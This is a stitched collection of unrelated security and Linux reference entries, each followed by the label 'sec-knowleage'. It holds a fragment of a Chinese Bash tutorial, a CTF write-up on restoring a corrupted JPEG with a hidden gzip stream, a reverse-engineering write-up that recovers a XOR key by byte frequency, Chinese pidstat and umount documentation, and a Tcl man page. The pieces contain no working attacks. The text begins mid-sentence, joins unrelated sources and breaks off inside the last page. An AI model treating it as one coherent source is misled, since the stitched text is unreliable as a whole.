或者使用以下包含文件代码 # source ./test1.sh echo "地址:$url" ``` > 注:被包含的文件 test1.sh 不需要可执行权限。 --- ## 调式脚本 在 shell 脚本中添加 set -xv 来调试输出 ```diff vim test.sh ++ set -xv ``` 或者在执行 shell 脚本时提供该设置 ```bash bash -xv test.sh ``` **trap** trap命令用来在 Bash 脚本中响应系统信号。 最常见的系统信号就是 SIGINT(中断),即按 Ctrl + C 所产生的信号。trap命令的-l参数,可以列出所有的系统信号。 ``` trap -l ``` “动作”是一个 Bash 命令,“信号”常用的有以下几个: ``` HUP:编号1,脚本与所在的终端脱离联系。 INT:编号2,用户按下 Ctrl + C,意图让脚本终止运行。 QUIT:编号3,用户按下 Ctrl + 斜杠,意图退出脚本。 KILL:编号9,该信号用于杀死进程。 TERM:编号15,这是kill命令发出的默认信号。 EXIT:编号0,这不是系统信号,而是 Bash 脚本特有的信号,不管什么情况,只要退出脚本就会产生。 ``` trap命令响应EXIT信号的写法如下 ```bash trap 'rm -f "$TMPFILE"' EXIT # 脚本遇到EXIT信号时,就会执行rm -f "$TMPFILE" ``` trap 命令的常见使用场景,就是在 Bash 脚本中指定退出时执行的清理命令。 ```bash trap 'rm -f "$TMPFILE"' EXIT TMPFILE=$(mktemp) || exit 1 ls /etc > $TMPFILE if grep -qi "kernel" $TMPFILE; then echo 'find' fi # 不管是脚本正常执行结束,还是用户按 Ctrl + C 终止,都会产生EXIT信号,从而触发删除临时文件。 ``` 注意,trap 命令必须放在脚本的开头。否则,它上方的任何命令导致脚本退出,都不会被它捕获。 如果 trap 需要触发多条命令,可以封装一个 Bash 函数。 ```bash function egress { command1 command2 command3 } trap egress EXIT ``` --- ## 错误处理 如果脚本里面有运行失败的命令(返回值非0),bash默认会继续执行后面的命令。 实际开发中,如果某个命令失败,往往需要脚本停止执行,防止错误累积。 ```bash command || exit 1 # 只要command有非零返回值,脚本就会停止执行。 ``` 如果停止执行之前需要完成多个操作,就要采用以下写法: ```bash # 写法一 command || { echo "command failed"; exit 1; } # 写法二 if ! command; then echo "command failed"; exit 1; fi # 写法三 command if [ "$?" -ne 0 ]; then echo "command failed"; exit 1; fi ``` 另外,除了停止执行,还有一种情况。如果两个命令有继承关系,只有第一个命令成功了,才能继续执行第二个命令,那么就要采用下面的写法。 ```bash command1 && command2 ``` 一个案例 ```bash echo "1" && whoamm && echo "2" || { echo "3"; ( echo "4" && whamm || echo "5" ); } ``` ``` 1 test.sh: line 1: whoamm: command not found 3 4 test.sh: line 1: whamm: command not found 5 ``` 另一个案例 ```bash echo "1" && whoamm && echo "2" || { echo "3"; idddddd || exit 1; } echo "5" ``` ``` 1 test.sh: line 1: whoamm: command not found 3 test.sh: line 1: echo1: command not found ``` --- ## Source & Reference * [Shell脚本编程30分钟入门](https://github.com/qinjx/30min_guides/blob/master/shell.md) * [Shell 教程](https://www.runoob.com/linux/linux-shell.html) * [Bash编程基础知识](https://mp.weixin.qq.com/s/tSWnoO3IAET3C7iYY7ns6Q)
sec-knowleage
# Stage 2 ## Description > This image is intentionally distorted. > > Fix it to have the key to the next stage. > > Hint: Once the first step is clear, 1f8b. ![](images/index.jpg) ## Solution This is a JPG image: ```console root@kali:/media/sf_CTFs/ebay/2# file index.jpg index.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 640x480, components 3 ``` `jpeginfo` confirms that it's corrupted: ```console root@kali:/media/sf_CTFs/ebay/2# jpeginfo -c index.jpg index.jpg 640 x 480 24bit JFIF N 6850 Corrupt JPEG data: premature end of data segment [WARNING] ``` If we open the file with a hex-editor and scroll through it, we eventually see this: ```console root@kali:/media/sf_CTFs/ebay/2# xxd -g 1 -s 0x12d0 -l 352 index.jpg 000012d0: 00 00 00 00 00 00 00 00 0a 79 14 da f1 15 ca f1 .........y...... 000012e0: 48 9f d5 6e bb 98 fd 84 ae e1 c7 cf 8f 5e a9 1e H..n.........^.. 000012f0: 73 eb 69 f3 99 fd e4 24 c5 93 31 11 dc fa 40 af s.i....$..1...@. 00001300: 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 REMOVE_ME_REMOVE 00001310: 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 _ME_REMOVE_ME_RE 00001320: 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d MOVE_ME_REMOVE_M 00001330: 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f E_REMOVE_ME_REMO 00001340: 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f VE_ME_REMOVE_ME_ 00001350: 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 REMOVE_ME_REMOVE 00001360: 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 _ME_REMOVE_ME_RE 00001370: 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d MOVE_ME_REMOVE_M 00001380: 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f E_REMOVE_ME_REMO 00001390: 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f VE_ME_REMOVE_ME_ 000013a0: 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 REMOVE_ME_REMOVE 000013b0: 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 _ME_REMOVE_ME_RE 000013c0: 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d MOVE_ME_REMOVE_M 000013d0: 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f E_REMOVE_ME_REMO 000013e0: 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 5f 4d 45 5f VE_ME_REMOVE_ME_ 000013f0: 52 45 4d 4f 56 45 5f 4d 45 5f 52 45 4d 4f 56 45 REMOVE_ME_REMOVE 00001400: 1f 8b 08 00 bb d0 85 5f 00 03 e5 d2 fd 57 92 69 ......._.....W.i 00001410: 1a c0 71 b2 da 71 76 aa 1d c7 b1 52 1b dd 23 e7 ..q..qv....R..#. 00001420: 48 4a e6 b8 e6 1b 22 cc 96 99 a3 29 b3 96 68 38 HJ...."....)..h8 ``` So, as the description says, the first step is clear: We remove the section that requests to be removed: ```console root@kali:/media/sf_CTFs/ebay/2# { head --bytes $((0x1300)) index.jpg; tail --bytes +$((0x1401)) index.jpg; } > out.jpg root@kali:/media/sf_CTFs/ebay/2# xxd -g 1 -s 0x12d0 -l 352 out.jpg 000012d0: 00 00 00 00 00 00 00 00 0a 79 14 da f1 15 ca f1 .........y...... 000012e0: 48 9f d5 6e bb 98 fd 84 ae e1 c7 cf 8f 5e a9 1e H..n.........^.. 000012f0: 73 eb 69 f3 99 fd e4 24 c5 93 31 11 dc fa 40 af s.i....$..1...@. 00001300: 1f 8b 08 00 bb d0 85 5f 00 03 e5 d2 fd 57 92 69 ......._.....W.i 00001310: 1a c0 71 b2 da 71 76 aa 1d c7 b1 52 1b dd 23 e7 ..q..qv....R..#. 00001320: 48 4a e6 b8 e6 1b 22 cc 96 99 a3 29 b3 96 68 38 HJ...."....)..h8 00001330: 61 47 57 91 58 e5 28 92 2f 09 d4 6a a6 96 fb ac aGW.X.(./..j.... 00001340: 53 2a 8c 20 4d 4a b4 85 52 47 04 9d 7c d9 d9 04 S*. MJ..RG..|... 00001350: 1c c7 b4 41 7d 28 32 51 d1 50 9e 55 42 64 14 42 ...A}(2Q.P.UBd.B 00001360: dd ff e1 f9 75 af 3f e0 fe 7c af eb dc b8 2e 45 ....u.?..|.....E 00001370: e8 1d 6f ca ec ed ae d5 00 83 79 8c 5d ee 09 c5 ..o.......y.]... 00001380: 91 8a 90 74 f1 00 93 cb 5d 0d 26 10 20 17 87 26 ...t....].&. ..& 00001390: f0 c7 7c c1 7a 37 ba b4 25 0d 44 be 3a 88 80 39 ..|.z7..%.D.:..9 000013a0: e8 85 1c 9b 45 ce a0 4a 32 c0 4b 81 e7 45 8c f6 ....E..J2.K..E.. 000013b0: 94 a7 53 59 98 9a 3d d7 2b 9b 23 e6 f4 d0 62 99 ..SY..=.+.#...b. 000013c0: 8c fc 36 39 5c 78 e1 43 c5 3e 7d cc e5 f1 63 50 ..69\x.C.>}...cP 000013d0: 19 d8 ab a4 97 3a 27 56 4f c8 e0 9a 88 23 3c 53 .....:'VO....#<S 000013e0: b4 f0 52 96 21 d6 1a e5 ab 24 e3 9f 4b 9b 52 85 ..R.!....$..K.R. 000013f0: db 2a ca 40 e7 c2 1a 74 03 e2 a7 e8 68 f4 84 f3 .*.@...t....h... 00001400: 19 85 a3 bd 44 79 43 eb ab 37 de 67 4b c8 c6 1e ....DyC..7.gK... 00001410: a1 c9 cb e8 cd 8a f2 9e 99 32 7d 29 5d 04 82 a7 .........2})]... 00001420: f0 7f 9c 3c 0a b7 60 f7 1f 7c 1f 6d 23 7f 76 b4 ...<..`..|.m#.v. ``` However, the image is still corrupted: ```console root@kali:/media/sf_CTFs/ebay/2# jpeginfo -c out.jpg out.jpg 640 x 480 24bit JFIF N 6594 Corrupt JPEG data: bad Huffman code [WARNING] ``` The hint says "Once the first step is clear, 1f8b". `1f8b` is the signature for `gzip` files, and is also what we see immediately after the "REMOVE_ME" section (offset `0x1300` in the new file). Let's see if `binwalk` identifies a gzip file too: ```console root@kali:/media/sf_CTFs/ebay/2# binwalk out.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 4864 0x1300 gzip compressed data, from Unix, last modified: 2020-10-13 16:07:23 ``` We can ask `binwalk` to extract it: ```console root@kali:/media/sf_CTFs/ebay/2# binwalk -e out.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 4864 0x1300 gzip compressed data, from Unix, last modified: 2020-10-13 16:07:23 ``` The extracted `gzip` file is just binary data: ```console root@kali:/media/sf_CTFs/ebay/2# file _out.jpg.extracted/1300 _out.jpg.extracted/1300: data ``` However, it ends with `ff d9`, which is the `EOI` (end of image) marker for JPEG files: ```console root@kali:/media/sf_CTFs/ebay/2# xxd -g 1 _out.jpg.extracted/1300 | tail 00000bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c40: 00 00 00 00 00 3f ff d9 .....?.. ``` So, what if we concatenate the beginning of our original image (just up to where we removed the "REMOVE_ME" section) with the output of the gzip file? ```console root@kali:/media/sf_CTFs/ebay/2# { head --bytes $((0x1300)) index.jpg; cat _out.jpg.extracted/1300; } > concat.jpg ``` We get a good JPEG file: ```console root@kali:/media/sf_CTFs/ebay/2# jpeginfo -c concat.jpg concat.jpg 640 x 480 24bit JFIF N 8008 [OK] ``` The image contains the link to the next level. We can rotate it a bit and use an OCR to extract the link (or just type it): ```console root@kali:/media/sf_CTFs/ebay/2# convert -rotate "-35" concat.jpg rotated.jpg root@kali:/media/sf_CTFs/ebay/2# tesseract rotated.jpg - https://rnd.ebay.co.il/riddle/xtdavqsrfo/ ```
sec-knowleage
## Reverse 400 (re, 400p) ### PL [ENG](#eng-version) Najtrudniejsze zadanie z RE na tym CTFie. Dostajemy [program](./r400) (znowu elf), który pobiera od usera hasło. Domyślamy się że to hasło jest flagą. Tutaj niespodzianka, bo hasło nie jest sprawdzane nigdzie w programie. Po chwili grzebania/debugowania, okazuje się, że hasło jest zamieniane na DWORD (cztery znaki) i pewna tablica bajtów jest "deszyfrowana" (tzn. xorowana) z nim, a następnie wykonywana. Xorowane dane wyglądają tak: 5E 68 0E 59 46 06 47 5E 55 11 15 41 5C 0A 03 16 44 0A 08 52 14 16 0E 16 52 0D 13 5E 14 3B 09 43 5C 0D 08 45 15 0A 0A 57 40 0B 0E 44 55 16 13 5E 77 0D 08 51 8E 48 66 36 34 EB 87 8D 35 62 66 36 8C 66 66 36 34 AF E6 8E 35 62 66 36 F9 E2 F6 A6 Pierwsze próby zgadnięcia hasła nie udały się (myśleliśmy że może ten fragment to funkcja, i zacznie się jakimś klasycznym prologiem). Ale szybko wpadliśmy na lepszy pomysł. Otóż jaki jest najczęściej spotykany bajt w kodzie? Oczywiście zero. Więc jeśli znajdziemy najczęściej występujący bajt w zaszyfrowanym fragmencie, będziemy wiedzieli że prawdopodobnie były to oryginalnie zera. Kod wyszukujący najczęstsze bajty: source = '5E680E594606475E551115415C0A0316440A085214160E16520D135E143B09435C0D0845150A0A57400B0E445516135E770D08518E48663634EB878D356266368C66663634AFE68E35626636F9E2F6A6'.decode('hex') prologue = '554889E5'.decode('hex') def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) print xor(source, prologue).encode('hex') a0 = source[0::4] a1 = source[1::4] a2 = source[2::4] a3 = source[3::4] def most_common(x): import collections s = collections.Counter(x).most_common(1)[0] return (s[0].encode('hex'), s[1]) print most_common(a0), print most_common(a1), print most_common(a2), print most_common(a3), Okazało się to być strzałem w dziesiątkę! (Jeśli dobrze pamiętamy, jeden z czterech fragmentów źle trafił, ale udało się to już ręcznie poprawić trywialnie). W ten sposób rozwiązaliśmy najtrudniejsze zadanie RE na CTFie i zdobyliśmy kolejną flagę, wartą 400 punktów. ### ENG version The most difficult RE task on this CTF. We get a [binary](./r400) (elf again) which takes password as input. We expect the password to be the flag. Here we have a surprise, because the password is not checked anywhere in the binary. After a while of debugging we realise that the password is casted into a DWORD (four characters) and a byte table is decoded (via xor) with this DWORD and the executed as code. The xored data are: 5E 68 0E 59 46 06 47 5E 55 11 15 41 5C 0A 03 16 44 0A 08 52 14 16 0E 16 52 0D 13 5E 14 3B 09 43 5C 0D 08 45 15 0A 0A 57 40 0B 0E 44 55 16 13 5E 77 0D 08 51 8E 48 66 36 34 EB 87 8D 35 62 66 36 8C 66 66 36 34 AF E6 8E 35 62 66 36 F9 E2 F6 A6 First attempts to get the password failed (we assumed this code block is a function nad has some standard prolog). Soon we got a better idea. What is the most common byte value in the code? Zero of course. So if we find the most common byte in the encoded block we can expect those to be zeroes in the decoded verson. We use the code to measure byte frequency: source = '5E680E594606475E551115415C0A0316440A085214160E16520D135E143B09435C0D0845150A0A57400B0E445516135E770D08518E48663634EB878D356266368C66663634AFE68E35626636F9E2F6A6'.decode('hex') prologue = '554889E5'.decode('hex') def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) print xor(source, prologue).encode('hex') a0 = source[0::4] a1 = source[1::4] a2 = source[2::4] a3 = source[3::4] def most_common(x): import collections s = collections.Counter(x).most_common(1)[0] return (s[0].encode('hex'), s[1]) print most_common(a0), print most_common(a1), print most_common(a2), print most_common(a3), And this was a bull's-eye! (If we remeber correctly one of the four fragments were wrong but we could fix those by hand) This way we solved the hardest RE task on the CTF and got another flag worth 400 points.
sec-knowleage
pidstat === 监控进程的系统资源占用情况 ## 说明 **pidstat**是sysstat工具的一个命令,用于监控全部或指定进程的cpu、内存、线程、设备IO等系统资源的占用情况。 pidstat首次运行时显示自系统启动开始的各项统计信息,之后运行pidstat将显示自上次运行该命令以后的统计信息。用户可以通过指定统计的次数和时间来获得所需的统计信息。 ### 语法 ```shell pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] ``` #### 选项 - u:默认的参数,显示各个进程的cpu使用统计 - r:显示各个进程的内存使用统计 - d:显示各个进程的IO使用情况 - w:显示每个进程的上下文切换情况 - t:显示到线程的统计信息 - p:指定进程号 - T { TASK | CHILD | ALL } 这个选项指定了pidstat监控的。TASK表示报告独立的task,CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。 注意:task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔,这些统计信息只有在子线程kill或者完成的时候才会被收集。 - V:版本号 - h:在一行上显示了所有活动,这样其他程序可以容易解析。 - I:在SMP环境,表示任务的CPU使用率/内核数量 - l:显示命令名和所有参数 ### 实例 #### 查看所有进程的CPU使用情况 ```shell # pidstat -u -p ALL 11:04:06 AM UID PID %usr %system %guest %CPU CPU Command 11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd 11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd 11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp 11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp 11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd 11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq 11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0 11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched 11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0 11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0 11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1 ... ``` 表头字段说明 - PID:进程ID - %usr:进程在用户空间占用cpu的百分比 - %system:进程在内核空间占用cpu的百分比 - %guest:进程在虚拟机占用cpu的百分比 - %CPU:进程占用cpu的百分比 - CPU:处理进程的cpu编号 - Command:当前进程对应的命令 #### 查看所有进程的内存使用情况 ```shell # pidstat -r 11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command 11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd 11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal 11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad 11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd 11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd 11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd 11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd 11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd 11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon 11:10:35 AM 0 2454 0.02 0.02 201336 1464 0.00 gssproxy ... ``` 表头字段说明 - PID:进程标识符 - Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载内存页 - Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载内存页 - VSZ:虚拟地址大小,虚拟内存的使用KB - RSS:常驻集合大小,非交换区物理内存使用KB - Command:task命令名 #### 查看所有进程的IO使用情况 ```shell # pidstat -d 11:12:30 AM UID PID kB_rd/s kB_wr/s kB_ccwr/s Command 11:12:30 AM 0 1 250.05 11.57 2.13 systemd 11:12:30 AM 0 224 1.21 0.00 0.00 khugepaged 11:12:30 AM 0 290 0.03 0.00 0.00 kswapd0 11:12:30 AM 0 291 0.02 0.00 0.00 kswapd1 11:12:30 AM 0 1312 1.03 0.00 0.00 xfsaild/dm-0 11:12:30 AM 0 1407 1.31 0.00 0.00 systemd-journal 11:12:30 AM 0 1442 0.01 0.00 0.00 lvmetad 11:12:30 AM 0 1457 1.77 0.00 0.00 systemd-udevd 11:12:30 AM 992 2446 0.79 0.00 0.00 lsmd 11:12:30 AM 0 2447 0.07 0.00 0.00 rngd 11:12:30 AM 0 2448 0.46 0.00 0.00 udisksd ... ``` 表头字段说明 - PID:进程id - kB_rd/s:每秒从磁盘读取的KB - kB_wr/s:每秒写入磁盘KB - kB_ccwr/s:任务取消的写入磁盘的KB。当任务截断脏的pagecache的时候会发生。 - COMMAND:task的命令名 #### 查看进程的上下文切换情况 ```shell # pidstat -w 11:15:52 AM UID PID cswch/s nvcswch/s Command 11:15:52 AM 0 1 3.15 0.03 systemd 11:15:52 AM 0 2 0.13 0.00 kthreadd 11:15:52 AM 0 3 0.00 0.00 rcu_gp 11:15:52 AM 0 4 0.00 0.00 rcu_par_gp 11:15:52 AM 0 6 0.00 0.00 kworker/0:0H-kblockd 11:15:52 AM 0 9 0.00 0.00 mm_percpu_wq 11:15:52 AM 0 10 1.99 0.00 ksoftirqd/0 ... ``` 表头字段含义 - PID:进程id - Cswch/s:每秒主动任务上下文切换数量 - Nvcswch/s:每秒被动任务上下文切换数量 - Command:命令名
sec-knowleage
.\" Copyright (c) 1996 Andries Brouwer .\" This page is somewhat derived from a page that was .\" (c) 1980, 1989, 1991 The Regents of the University of California .\" and had been heavily modified by Rik Faith and myself. .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, .\" USA. .\" .TH UMOUNT 8 "26 July 1997" "Linux 2.0" "Linux 程序员手册" .SH "NAME 名字" umount \- 卸载文件系统 .SH 总览 .BI "umount [\-hV]" .LP .BI "umount -a [\-nrv] [\-t " vfstype ] .br .BI "umount [\-nrv] " "device " | " dir " [...] .SH 描述 .B umount 可以卸除当前挂载在文件层次目录中的文件系统。 文件系统形式可以是以它所在的目录的形式指定, 也可以是以它所在的特殊设备的形式来指定。 请注意当文件系统正处于使用状态时,不能进行卸载操作, 必须等工作完成后才能进行卸除。例如,如果在当前文件系统中 有打开的文件或某些进程正工作在该文件系统的某个目录下时, 或者是它上面的一个交换文件正在使用。 干涉的进程甚至可以是 .B umount 本身 - 它打开 libc,而随后 libc 可能会打开本地文件. .B umount 命令的选项: .TP .B \-V 打印版本信息并退出。 .TP .B \-h 显示帮助信息并退出。 .TP .B \-v 以冗长模式运行。 .TP .B \-n 在卸载后不将相应信息写入 .IR /etc/mtab 文件。 .TP .B \-r 如果卸载失败,试图以只读方式进行重新挂载。 .TP .B \-a 卸载所有在 .I /etc/mtab 文件中描述的文件系统。(在 .B umount 版本或以后的版本中,不会卸载 .I proc 文件系统) .TP .BI \-t " vfstype" 只卸载指定类型的文件系统。如果要一次指定多个文件系统, 可以用逗号分隔。如在指定文件系统前加 .B no ,则可卸载除些文件系统以外的其它文件系统。 .TP .B \-f 强制卸载(比如不可达的 NFS )。 (此选项须在高于 2.1.116 的版本上使用) .SH "环路设备" 如果在 .IR /etc/mtab 文件中存在有 `loop=...' 这样的参数, .B umount 命令将释放与挂载相关联的环路设备. 任何挂起的环路设备可以用 `losetup -d' 命令来释放。 参阅 .BR losetup (8). .SH 相关文件 .I /etc/mtab 已挂载文件系统的清单。 .SH "另见" .BR umount (2), .BR mount (8), .BR losetup (8). .SH 历史 .B umount 命令最早出现在版本 6 的 AT&T UNIX. .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" .B Nov 20 2000 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: switch.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: switch.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH switch 3tcl 7.0 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME switch \- 依据一个给定的值对多个脚本中的一个进行求值 .SH "总览 SYNOPSIS" \fBswitch 